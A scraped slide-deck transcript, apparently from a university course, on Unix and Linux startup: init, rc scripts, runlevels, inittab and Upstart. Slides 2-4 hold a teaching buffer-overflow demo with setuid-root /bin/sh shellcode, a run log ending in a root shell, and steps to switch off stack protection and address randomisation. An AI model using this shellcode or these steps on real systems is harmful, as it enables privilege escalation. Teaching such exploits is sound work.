1 / 149

Unix Startup

Guntis Barzdins Girts Folkmanis Juris Krūmiņš Artūrs Lavrenovs. Unix Startup. Buffer Overflow. #include <stdio.h> #include <string.h> void show_array(int arrlen, char array[]) //Procedūra kurā notiek bufera pārpildīšanos { char buffer[32]; //Mainīgais caur kuru notiks ielaušanos

mira
Download Presentation

Unix Startup

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Guntis Barzdins Girts Folkmanis Juris Krūmiņš Artūrs Lavrenovs Unix Startup

  2. Buffer Overflow #include <stdio.h> #include <string.h> void show_array(int arrlen, char array[]) //Procedūra kurā notiek bufera pārpildīšanos { char buffer[32]; //Mainīgais caur kuru notiks ielaušanos strcpy(buffer,array); //Instrukcija, kas izraisa ielaušanos (atgriešanas // adreses pārrakstīšanu) printf("%s\n",buffer); //Pēc šīs instrukcijas vadība tiek atdota shell kodam, jo //pārrakstīta atgriešanas adrese } int main(int argc,char * argv[]) { char *p; int i; long RET; RET= 0x53535353; // Mainīgais kurā tiks izvietota shell atrašanas adrese char shellpre[] = //Primitivas shell programmas kods asamblera "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // instrukcijas heksadecimālajā pierakstā "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char mystr[1000]; // Mainīgais kurā glabājas speciāla virkne strcpy(mystr,argv[1]); //Tiek nolasīta argumenta vērtība mainīgā mystr sprintf(mystr+strlen(argv[1])-31-36+1-strlen(shellpre),"%s",shellpre); //Tiek pievienots shell kods p=mystr; //Mainīgais p tiek izmantots lai pārrakstītu atgriešanas adresi RET = (long)((int)(&mystr)-(int)(19)); //Mainīgais kurā glabasies adrese uz atmiņā printf("\nmystr adrese:\t0x(%x)\n",&mystr); // izvietotu shell heksadecimālajā pierakstā printf("\nMainiga mystr adrese + nobide = shell koda atrasanas vieta:\t0x(%x)\n",(long)((int)(&mystr)-(int)(19))); for(i=36;i<36+4;i+=4) //Šeit notiek atgriešanas adreses pārrakstīšana uz shell koda atrašanas adresi { printf("\nAdrese uz kuru parlec programma pec buffera parpildisanos:\t0x(%x)\n\n",RET); *(long*)(p+i)=RET; //Atgriešanas adreses pārrakstīšana } show_array(0, mystr); //Tiek izsaukta procedūra, kura izraisīs ielaušanos return 0; } ================================================================================================ g++ prob.cpp -o prob VladimirsDebian:/home/vladimirs/Buffer_overflow/Test/Proba shell# ./prob `perl -e 'print "A"x150'`BBB mystr adrese: 0x(bfda4663) Mainiga mystr adrese + nobide = shell koda atrasanas vieta: 0x(bfda4650) Adrese uz kuru parlec programma pec buffera parpildisanos: 0x(bfda4650) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPFڿAAAAAAAAAAAAAAAA1�1۰1�Ph//shh/bin��PS�ᙰ sh-3.1# //Tika nospiests 2 reizis TAB Display all 1869 possibilities? (y or n) //Izvelets „n” sh-3.1# exit exit VladimirsDebian:/home/vladimirs/Buffer_overflow/Test/Proba shell#

  3. Buffer Overflow #include <unistd.h> #define NOP 0x90 int main(int argc, char *argv[]){ //ievada strings tiek padots funkcijai foo(argv[1]); //Izrukas nav, ja funkcijaa foo ir mainita atgriesanas adrese printf("Hello world!\n"); return 0; } void foo(char *tmp){ char buf[100]; int i; //iekope ievada sakuma adresi long *long_ptr = (long *)tmp; //ieraksta sakot no 112. baita lidz 115. ieskaitot bufera adresi //ievada sakuma bus NOP tapec nobide pa 2(var ari citu) *(long_ptr + 28) = (int)&buf+2; //buf 100 baitos kope 116 baitus, pedejos 4 tmp baitos ir jauna atgriesanas adrese strcpy(buf,tmp); //tiek izdrukats, jo funkcija vel nav beigusies printf("Hello world2!\n") }

  4. Buffer Overflow Ar mūsdienu kompilatoriem programma jānokompilē ar īpašu slēdzi -fno-stack-protectorgcc komandrindā,pretējā gadījumā nokopilētā programma pasargā steku, un tajā mēģinot ierakstīt izmet kļūdu:*** stack smashing detected ***: ./a.out terminated jāatslēdz adrešu telpas randomizācija, tāpēc izpildām komandrindā komandu “sysctl –w kernel.randomize_va_space”.

  5. Init  Shell (1) Jaunākajos linux distributīvos pie startēšanās ir iespējams norādīt boot opcijas. Tās var ievadīt caur lilo konfigurācijas failu. Lilo bootloader(am), lai jaunās opcijas tiktu ņemtas vērā, tās jāapstiprina ar lilo komandu. Savukārt uz datora ar SUSE 10.2 ar Grub bootloader(i). startējoties ierakstām boot opciju: init=/bin/bash Pēc kerneļa palaišanās tiešām tiek piestartēts bash shell(s). root partīcija ir piemontēta read režīmā, pārējās partīcijas nav piemontētas vispār. Vienkāršākais veids, kā panākt linux piestartēšanos, ir palaist skriptu /etc/rc.d/boot Šis scripts palaiž visus skriptus, kas atrodas /etc/init.d un kuri sākas ar boot.xxxx. Protams, var mēģināt arī ar roku pa vienam palaist šos boot.xxxx skriptus un skatīties, kas notiks. Pēc /etc/rc.d/boot skripta izpildes ir piemontētas visas partīcijas read/write režīmā. Pēc šī skripta izpildes nepieciešams uzstādīt visus nepieciešamos ENVIRONMENT VARIABLES (es to neizdarīju) un palaist pārējos skriptus, kas atrodas /etc/init.d/ zem attiecīgā runlevel. Ja neuzstāda ENVIRONMENT VARIABLES, tad shell(s) stāsta, ka nevar atrast daudzas komandas, ja vēlas lai šīs komandas izpildītos, tad jānorāda pilns ceļš uz tām.

  6. Init  Shell (2) Aizvietoju /sbin/init ar nokompilēto toyshell2. To var darīt tikai “neejošai” sistēmai, piemēram, datoru piestartējot no bootbale CD un piemontējot atbilstošo HDD root partīciju rediģēšanai. Dzīvā sistēmā aizvietojot init ar citu programmu gan uz Linux sistemas, gan FreeBSD abos gadījmos iestāj¯as kerneļa panika un sistēmas darbība apstājas. Var redzēt arī, kā inicializēju tīklu, ping-oju, un apstādinu sistēmu. Šādā pašā variantā konstatēju 15MB aizņemtās operatīvas atmiņas, izmantojot komandu top. Un čaula atvērās uzreiz pēc kodola pēdējā paziņojuma 119. rindiņā. 111 Begin: Running /scripts/localpremount ... 112 Done. 113 [19499.260388] kjournald starting. Commit interval 5 seconds 114 [19499.260405] EXT3fs: mounted filesystem with ordered data mode. 115 Begin: Running /scripts/localbottom ... 116 Done. 117 Done. 118 Begin: Running /scripts/initbottom ... 119 Done. 120 #/#> /etc/init.d/mountkernfs.sh start 121 * Files under mount point '/var/run' will be hidden. 122 #/#> /etc/init.d/loopback start 123 * Starting basic networking... [ OK ] 124 #/#> /etc/init.d/networking start 125 * Configuring network interfaces... [ OK ] 126 #/#> [19525.523708] NET: Registered protocol family 10 127 [19525.523807] lo: Disabled Privacy Extensions 128 129 #/#> ping c 2 www.delfi.lv 130 #/#> PING www.delfi.lv (62.85.117.94) 56(84) bytes of data. 131 64 bytes from 62.85.117.94: icmp_seq=1 ttl=57 time=4.04 ms 132 64 bytes from 62.85.117.94: icmp_seq=2 ttl=57 time=5.78 ms 133 134 www. delfi.lv ping statistics 135 2 packets transmitted, 2 received, 0% packet loss, time 1003ms 136 rtt min/avg/max/mdev = 4.041/4.910/5.780/0.872 ms 137 138 #/#> ifconfig 139 eth0 Link encap:Ethernet HWaddr 00:16:3E:00:01:03 140 inet addr:10.0.10.12 Bcast:10.0.10.255 Mask:255.255.255.0 141 inet6 addr: fe80::216:3eff:fe00:103/64 Scope:Link 142 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 143 RX packets:42 errors:0 dropped:0 overruns:0 frame:0 144 TX packets:19 errors:0 dropped:0 overruns:0 carrier:0 145 collisions:0 txqueuelen:1000 146 RX bytes:4727 (4.6 KiB) TX bytes:1466 (1.4 KiB) 147 148 lo Link encap:Local Loopback 149 inet addr:127.0.0.1 Mask:255.0.0.0 150 inet6 addr: ::1/128 Scope:Host 151 UP LOOPBACK RUNNING MTU:16436 Metric:1 152 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 153 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 154 collisions:0 txqueuelen:0 155 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) 156 157 #/#> 176 #/#> halt f 177 #/#> [19734.414514] System halted.

  7. System Lifecycle: Ups & Downs start_kernel sleep? (hlt) LILO shutdown init Poweron Poweroff Boot KernelInit OS Init RUN! Shutdown

  8. Startup Sequence Power-on Boot loader LILO Load Kernel Create init process Linux hardware rc.sysinit runlevel 0-6 rc.local Ready Initialisation Scripts

  9. System initialization OS Initialization Once the boot loader has loaded the OS image into memory, control is transferred to the OS. A large aspect of initialization for any operating system is the establishment of virtual memorymanagement. On an Intel-based system this typically involves setting up the Global Descriptor Table(GDT), creating a Local Descriptor Table (LDT), switching the processor into protected memory mode,setting up page directories and enabling paging. Additional tasks include device driver initialization and the assignment of interrupts in the InterruptDescriptor Table (IDT). Another major initialization task is establishing support for various file systemtypes and mounting a root file system.

  10. System initialization OS Initialization The initial process mustexplicitly do for itself all the tasks accomplished by a call to fork(). This initial process, numbered 0 onUNIX systems. Process 0 must be able to self-generate its own process context. Once this context has been established, the system has the capability to suspend and resume execution of Process 0 just as it would any other process. Once established, the role of Process 0 differs by operating system. Process 1, commonly referred to as the init process, is the firstprocess forked from Process 0. Once Process 1 has been forked from Process 0, often anumber of additional kernel space processes are created to handle additional kernel space tasks. Once allof these are running, the kernel space operating system initialization is complete.

  11. System initialization

  12. System initialization 1. A “pagedaemon” process to handle page swapping for the virtual memory subsystem, 2. A “reaper” process to free the resources still allocated to dead processes, 3. A “cleaner” process to clear out dirty buffers found in the BQ_DIRTY buffer queue, 4. An “update” process for synchronizing the file systems, 5. An “aiodoned” process for handling completed asynchronous I/O operations,

  13. System initialization

  14. Unix Process Hierarchy [0] /etc/inittab init [1] Daemon e.g. httpd Login shell Child Child Child Grandchild Grandchild

  15. init When the kernel has started itself (has been loaded into memory, has started running, and has initialisedall device drivers and data structures and such), it finishes its own part of the boot process by starting auser level program, init. Thus, init is always the first process (its process number is always 1). The kernel looks for init in a few locations that have beenhistorically used for it, but the proper locationfor it (on a Linux system) is /sbin/init. If the kernel can't find init, it tries to run /bin/sh, and if thatalso fails, the startup of the system fails. When init starts, it finishes the boot process by doing a number of administrative tasks, such as checkingfilesystems, cleaning up /tmp, starting various services, and starting a getty for each terminal and virtualconsole where users should be able to log in.

  16. pstree Kernel threads, not real processes Forked processes for network connections

  17. Userspace system initialization Historically there were two initialization systems : System V BSD These two system differ with names, script running order, directory hierarchy which hold initialization scripts. Linux systems mainly used System V initialization system until recently.

  18. Different Unix startup files.. Unix systems are usually based in the AT&T System III & V or BSD. Sun Mircosystems Solaris 2.X (formally SunOS) BSD-ish DEC OSF/1 is BSD-ish (DEC use to do Ultrix) IBM AIX (neither ATT or BSD but something else) HP HP-UX (BSD-ish) Silicon Graphics, IRIX (ATTish) SCO (Santa Cruz Operation) PC unix (ATT) Linux, kernel from Linus Torvalds (BSD-ish for admin, ATT-ish for programming) Distributions Slackware, Redhat, SuSE, Debian other free PC Unixs, NetBSD, 386BSD, free BSD

  19. Userspace system initialization Kernel start up root file system in ro mode and run init process As a result we have: ro file system init process The next system step initializing user space environment greatly depends on init configuration file /etc/inittab It’s very important to understand that until this moment it doesn’t matter what initialization system will be used.

  20. Startup files How to start other services not in kernel? BSD mode /etc/rc.boot, /etc/rc.single, /etc/rc and /etc/rc.local System V Startup runlevels init process and /etc/inittab file On linux: 0: shutdown and halt 1 single-user mode 2 multiuse mode, no file sharing 3 full multiuser. 4 unused 5 X windows console 6 shuts down and reboots

  21. Sample BSD Startup Scripts/etc/rc.boot First rc script to run is /etc/rc.boot The first two lines set HOME and PATH environment variables Executes basic system commands during boot hostname file in /etc for each network interface enables IP networking on each interface

  22. Sample BSD Startup Scripts/etc/rc.boot (cont.) Address or hostname of default Internet gateway is read from /etc/defaultrouter non-local NW connections up prior to more complicated routing in boot process /usr filesystem read-only for system check to see if /fastboot exists Yes: system shut down cleanly~ filesystems in consistent state No: all filesystems listed in /etc/fstab checked in fsck If disks check cleanly~ rc.boot runs /etc/rc.single

  23. Sample BSD Startup Scripts/etc/rc.single Commands in /etc/rc.single are executed at boot time even if not using single mode Remounts / and /usr filesystems read/write if not remounted~ system not able to come up Cleans out /etc/mtabfile and adds entries for / and /usr was previously mounted but not in mtab file because root filesystem not writable /usr/kvm mounted~ clean up shared library cache

  24. Sample BSD Startup Scripts/etc/rc.single /etc/utmp file cleaned out contains user list of current log ins tzsetup command sets local time zone & status of daylight savings time (kernal is GMT) loadkeys command sets keyboard mapping rc.single exits~rc.boot exits No problems in autoboot mode the next init process is /etc/rc If problem~single-user (sh process) on console

  25. Sample BSD Startup Scripts/etc/rc /etc/rc is the main system startup up script in autoboot after rc.boot if single-user: rc after shell is terminated if root filesystems not writable~ rerun rc.single clean up shared library cache remove /fastboot file /etc/passwd file edited ~system crashes vipw and /etc/rc script make sure password file not destroyed at crash

  26. Sample BSD Startup Scripts/etc/rc (cont.) Enable quotas /bin/ps -u cleans out the ps database (status of processes) /etc/nologin created by shutdown to prevent logins during shutdown executes rc.local script swapon -a to make use of all swap partitions listed in etc/fstab expreserve: looks in /tmp to find files that were edited when system went down Start standard system daemons (i.e., lpd,inetd, update, uushed)

  27. Sample BSD Startup Scripts/etc/rc.local /etc/rc.local contains commands for local system portmap daemon maps RPC (remote procedure call) service numbers to the NW ports of appropriate servers NIS (NW info service) Domain Name set from /etc/default domain set subnet mask of all machines interfaces default route reset~ if no default routing daemon run list current configuration of NW interfaces on console

  28. Sample BSD Startup Scripts/etc/rc.local (cont.) All NFS filesystems mounted named (server for Domain Name system) maps between hostnames and Internet addresses Client side NFS daemon run (biod) syslogd: responsible for managing log messages save kernel core dump in /var/crash/hostname Image saved on swap partition~ save image to real filesystem Clean up temporary mail lock files and start sendmail

  29. Sample BSD Startup Scripts/etc/rc.local (cont.) Make machine NFS Server if filesystems need to be exported Daemon to support diskless clients rpc.statd and rpc.lockd manage advisory locks on NFS filesystems Start automount daemon 3rd party vendor install scripts Appletalk protocol stack started Licensed software add-ons

  30. BSD Startup Scripts Typically, BSD variants include a run control (also known as an rc) script in the /etc directory. This allows the administrator to edit a single /etc/rc script to make it start a new service at boot time. Other BSD variants have simply increased the number of rc files in the /etc directory. For example, the FreeBSD start-up directory contains scripts with names such as /etc/rc.atm, /etc/rc.firewall, and /etc/rc.network. These individual scripts, respectively, configure the ATM network cards, cause the system to become a firewall, and configure the network links respectively. These scripts are called by the master script, /etc/rc

  31. FreeBSD today init calls /etc/rc script /etc/defaults/rc.conf contains hundreds of variables and startup definitions (e.g. sendmail_enable="NO") for startup scripts in /etc/rc.d/ (e.g. /etc/rc.d/sendmail) /etc/rc.co nf overrides defaults and adds new services, non base scripts located in /usr/local/etc/rc.d/ Keywords in rc scripts PROVIDE: name of service REQUIRE: list of service names required to be started BEFORE: execute before defined service names Scripts ordered by dependencies but run serially

  32. System V Run Levels Level 0 – shutdown Level 1 or S – single-user mode Level 2 thru 5 – multi-user mode Level 6 - reboot

  33. System V initialization system RHEL 4 BOOTFLAGS It is possible to pass a number of flags to init from the boot monitor (eg. LILO). Init accepts the following flags: -s, S, single - Single user mode boot. In this mode /etc/inittab is examined and the bootup rc scripts are usually run before the single user mode shell is started. 1-5 - Runlevel to boot into. -b, emergency - Boot directly into a single user shell without running any other startup scripts. -a, auto - The LILO boot loader adds the word "auto" to the command line if it booted the kernel with the default command line (without user intervention). If this is found init sets the "AUTOBOOT" environment variable to "yes". -z xxx - The argument to -z is ignored. You can use this to expand the command line a bit, so that it takes some more space on the stack. Init can then manipulate the command line so that ps(1) shows the current runlevel.

  34. Startup Script Directories /etc/inittab tells init where scripts are /etc/init.d script directory /etc/rc2.d link to script directory

  35. /etc/rc.d [root@guntis-bio rc.d]# ls -l total 112 drwxr-xr-x 2 root root 4096 Sep 8 13:42 init.d -rwxr-xr-x 1 root root 2255 Sep 21 2006 rc drwxr-xr-x 2 root root 4096 Sep 7 22:39 rc0.d drwxr-xr-x 2 root root 4096 Sep 7 22:39 rc1.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc2.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc3.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc4.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc5.d drwxr-xr-x 2 root root 4096 Sep 7 22:39 rc6.d -rwxr-xr-x 1 root root 220 Jun 23 2003 rc.local -rwxr-xr-x 1 root root 26613 Nov 10 2007 rc.sysinit [root@guntis-bio rc.d]#

  36. Linux Run Levels Linux defines 7 run levels Each run level defines a set of commands that are run to stop and start processes. The actual commands are held in /etc/init.d directory The run level directories rc0.d, rc2.d…rc6.d contain links to the actual commands Each command is prefixed with S or K and a number 00-99 S prefix means that a process should be started e.g. S10network K prefix means that a process should be stopped (killed) K70syslog The numbers determine the order in which the commands are run from lowest first to highest last

  37. Runlevel Commands # ls /etc/rc2.d K03samba S42ncakmod S81dodatadm.udaplt K05volmgt S47pppd S89PRESERVE K06mipagent S65ipfboot S89bdconfig K07dmi S69mrouted S90wbem K07snmpdx S70sckm S93cacheos.finish K16apache S70uucp S94ncalogd K27boot.server S72autoinstall S95ncad README S73cachefs.daemon S95networker S10lu S75savecore S98deallocate S20sysetup S80lp S99audit S40llc2 S80spc

  38. Startup files Understanding /etc/inittab Label:runlevel:action:process id:5:initdefault: # System initialization. si::sysinit:/etc/rc.d/rc.sysinit l0:0:wait:/etc/rc.d/rc 0 l1:1:wait:/etc/rc.d/rc 1 l2:2:wait:/etc/rc.d/rc 2 l3:3:wait:/etc/rc.d/rc 3 l4:4:wait:/etc/rc.d/rc 4 l5:5:wait:/etc/rc.d/rc 5 l6:6:wait:/etc/rc.d/rc 6

  39. /etc/inittab # The default runlevel is defined here id:5:initdefault: # First script to be executed si::sysinit:/etc/rc.d/rc.sysinit # /etc/init.d/rc takes care of # runlevel handling l0:0:wait:/etc/init.d/rc 0 l1:1:wait:/etc/init.d/rc 1 l2:2:wait:/etc/init.d/rc 2 l3:3:wait:/etc/init.d/rc 3 l4:4:wait:/etc/init.d/rc 4 l5:5:wait:/etc/init.d/rc 5 l6:6:wait:/etc/init.d/rc 6 ls:S:wait:/etc/init.d/rc S # what to do when CTRL-ALT-DEL is pressed ca::ctrlaltdel:/sbin/shutdown -r -t 4 now # getty-programs for the normal runlevels # The "id" field MUST be the same as the # last characters of the device name 1:2345:respawn:/sbin/mingetty --noclear tty1 2:2345:respawn:/sbin/mingetty tty2 3:2345:respawn:/sbin/mingetty tty3 4:2345:respawn:/sbin/mingetty tty4 5:2345:respawn:/sbin/mingetty tty5 6:2345:respawn:/sbin/mingetty tty6

  40. Some Linux inittab action valus

  41. Linux startup - rc.sysinit script /etc/rc.d/rc.sysinit - does a range of basic tasks including configures networking sets host name checks the root file system for repairs check root file system quota & turns quotas for groups and users mount non-root file systems and checks them for repairs turns on swapping (virtual memory subsystem) checks and loads modules (drivers) (see /var/log/messages)

  42. init scripts start other processes The system first runs the scripts whose names start with K to kill the associated processes  /etc/rc.d/init.d/<command> stop Then system runs the scripts whose names start with S to start the processes  /etc/rc.d/init.d/<command> start

  43. System V initialization system RHEL 4 [juris@ns1 rc4.d]$ pwd /etc/rc.d/rc4.d [juris@ns1 rc4.d]$ ls –l ... lrwxrwxrwx 1 root root 19 Jun 2 2005 K05saslauthd -> ../init.d/saslauthd lrwxrwxrwx 1 root root 13 Jun 2 2005 K20nfs -> ../init.d/nfs lrwxrwxrwx 1 root root 14 Jun 2 2005 K24irda -> ../init.d/irda lrwxrwxrwx 1 root root 15 Jun 2 2005 K25squid -> ../init.d/squid lrwxrwxrwx 1 root root 16 Jun 2 2005 S09pcmcia -> ../init.d/pcmcia lrwxrwxrwx 1 root root 16 Jun 2 2005 S40smartd -> ../init.d/smartd lrwxrwxrwx 1 root root 14 Jun 2 2005 S55sshd -> ../init.d/sshd lrwxrwxrwx 1 root root 16 Aug 11 2005 S55sshdlp -> ../init.d/sshdlp ... lrwxrwxrwx 1 root root 15 Jun 2 2005 S97rhnsd -> ../init.d/rhnsd lrwxrwxrwx 1 root root 11 Jun 15 2005 S99local -> ../rc.local [juris@ns1 rc4.d]

  44. Benefits of init Scripts One of the benefits of using init directory scripts is that they are easily tested. The scripts may be manually invoked with the stop and start arguments as a check to determine whether they function correctly before creating the links to the rc directories, and trying them under actual system boot conditions. This procedure is recommended because it can help you catch mistakes that might interrupt the boot process and leave the system unusable.

  45. Changing Run Levels The following commands are typically reserved for system maintenance activities. UNIX shutdown Command The System V init 0 Command The telinit Command NOTE: The shutdown, telinit, and init 0 commands can only be executed with root access.

  46. Linux Run Levels 0-2 Runlevel 0 Directory /etc/rc.d/rc0.d Actually shutdown sequence Kill all processes Turn off virtual memory system (i.e. swap partition) unmounts swap and file systems Runlevel 1 /etc/rc.d/rc1.d single user mode used for maintenance by system administrators when they need sole control of machine, e.g. reconfiguring hardware installing software Runlevel 2 /etc/rc.d/rc2.d Multi-user + networking (minus NFS)

  47. Linux Run level 3-6 Runlevel 3 /etc/rc.d/rc3.d Default run level multi-user + NFS Runlevel 4 /etc/rc.d/rc4.d not defined ( available for customization) Runlevel 5 /etc/rc.d/rc5.d Same as 3 under Redhat but includes starting X windows Runlevel 6 /etc/rc.d/rc6.d reboot similar to 0 but allows option to shutdown (halt) or reboot

  48. Linux today Why not SysV init? It launches daemons only serially so it's slow Also potential for hang-ups, overhead, etc. World's most popular Linux distribution Ubuntu developed its own event-based initialization system Upstart. Currently used as default by Ubuntu, RHEL6, Chrom(-e/-ium) OS, etc. Everyone else (Debian, Arch, Fedora, openSUSE, etc.) moves to dependency-based init system systemd

  49. Upstart Emits events which services can register an interest in When an event/combination of events is emitted that satisfies some service's requirements, Upstart will automatically start or stop that service If multiple jobs have the same "start on" condition, Upstart will start those jobs ''in parallel'' Biggest advantage is ability to handle kernel events like udev new devices (no other common init can) Ability to run user session and manage graphical session (replace gnome-session as of Ubuntu 13.10) Socket event allows replacement of inetd/xinetd

More Related